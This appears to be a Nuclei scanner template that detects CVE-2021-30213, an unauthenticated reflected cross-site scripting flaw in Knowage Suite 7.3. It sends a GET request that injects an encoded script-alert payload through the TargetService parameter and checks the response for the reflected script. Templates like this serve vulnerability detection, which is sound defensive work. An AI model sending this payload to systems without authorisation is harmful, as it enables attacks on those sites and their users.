id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
  reference:
    - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40902
    cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eng
    product: knowage
  tags: cve,cve2021,xss,knowage

http:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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